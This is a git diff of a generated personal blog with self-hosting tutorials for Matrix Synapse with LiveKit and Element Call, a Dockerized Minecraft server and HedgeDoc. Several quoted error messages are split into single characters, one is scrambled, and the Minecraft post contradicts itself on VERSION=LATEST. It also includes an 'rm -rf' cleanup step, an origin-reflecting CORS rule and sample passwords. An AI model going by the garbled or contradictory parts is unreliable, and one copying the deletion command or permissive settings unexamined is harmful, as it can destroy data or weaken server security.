    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + + + +
    + + + +D +a +t +a +b +a +s +e +h +a +s +i +n +c +o +r +r +e +c +t +c +o +l +l +a +t +i +o +n +o +f +' +e +n +_ +U +S +. +u +t +f +8 +' +. +S +h +o +u +l +d +b +e +' +C +' + + + + +
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + + + +
    + + + +E +R +R +O +R +: +U +n +k +n +o +w +n +b +o +o +l +e +a +n +v +a +l +u +e +: +# +l +o +g +t +o +j +o +u +r +n +a +l +d +/ +s +y +s +l +o +g +. +Y +o +u +c +a +n +u +s +e +o +n +/ +o +f +f +, +y +e +s +/ +n +o +, +1 +/ +0 +, +t +r +u +e +/ +f +a +l +s +e +. + + + + +
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + + + +
    + + + +A +F +c +e +c +t +e +c +s +h +s +- +A +C +P +o +I +n +t +c +r +a +o +n +l +n +- +o +A +t +l +l +l +o +o +w +a +- +d +O +r +h +i +t +g +t +i +p +n +s +: +c +/ +a +/ +n +r +n +t +o +c +t +. +e +c +x +o +a +n +m +t +p +a +l +i +e +n +. +c +m +o +o +m +r +/ +e +s +f +t +u +h +/ +a +g +n +e +t +o +n +d +e +u +e +o +r +t +i +o +g +i +a +n +c +. +c +e +s +s +c +o +n +t +r +o +l +c +h +e +c +k +s +. + + + + +
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +]]>
    \ No newline at end of file diff --git a/public/tags/debugging/page/1/index.html b/public/tags/debugging/page/1/index.html new file mode 100644 index 0000000..b972813 --- /dev/null +++ b/public/tags/debugging/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/debugging/ + \ No newline at end of file diff --git a/public/tags/docker/index.html b/public/tags/docker/index.html new file mode 100644 index 0000000..44e1797 --- /dev/null +++ b/public/tags/docker/index.html @@ -0,0 +1,13 @@ +Docker | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/docker/index.xml b/public/tags/docker/index.xml new file mode 100644 index 0000000..c0bb51f --- /dev/null +++ b/public/tags/docker/index.xml @@ -0,0 +1,390 @@ +Docker on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/docker/Recent content in Docker on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + + + +
    + + + + +/ +d +e +v +/ +m +a +p +p +e +r +/ +u +b +u +n +t +u +- +- +v +g +- +v +a +r +3 +. +9 +G +3 +. +4 +G +3 +3 +3 +M +9 +2 +% +v +a +r + + + + +
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + + + +
    + + + +S +t +a +r +t +i +n +g +m +i +n +e +c +r +a +f +t +s +e +r +v +e +r +v +e +r +s +i +o +n +1 +. +2 +1 +. +9 +P +r +e +- +R +e +l +e +a +s +e +2 + + + + +
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +]]>
    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +]]>
    \ No newline at end of file diff --git a/public/tags/docker/page/1/index.html b/public/tags/docker/page/1/index.html new file mode 100644 index 0000000..a7c0a65 --- /dev/null +++ b/public/tags/docker/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/docker/ + \ No newline at end of file diff --git a/public/tags/element-call/index.html b/public/tags/element-call/index.html new file mode 100644 index 0000000..943b051 --- /dev/null +++ b/public/tags/element-call/index.html @@ -0,0 +1,12 @@ +Element-Call | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 9 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/element-call/index.xml b/public/tags/element-call/index.xml new file mode 100644 index 0000000..9c1f789 --- /dev/null +++ b/public/tags/element-call/index.xml @@ -0,0 +1,639 @@ +Element-Call on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/element-call/Recent content in Element-Call on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

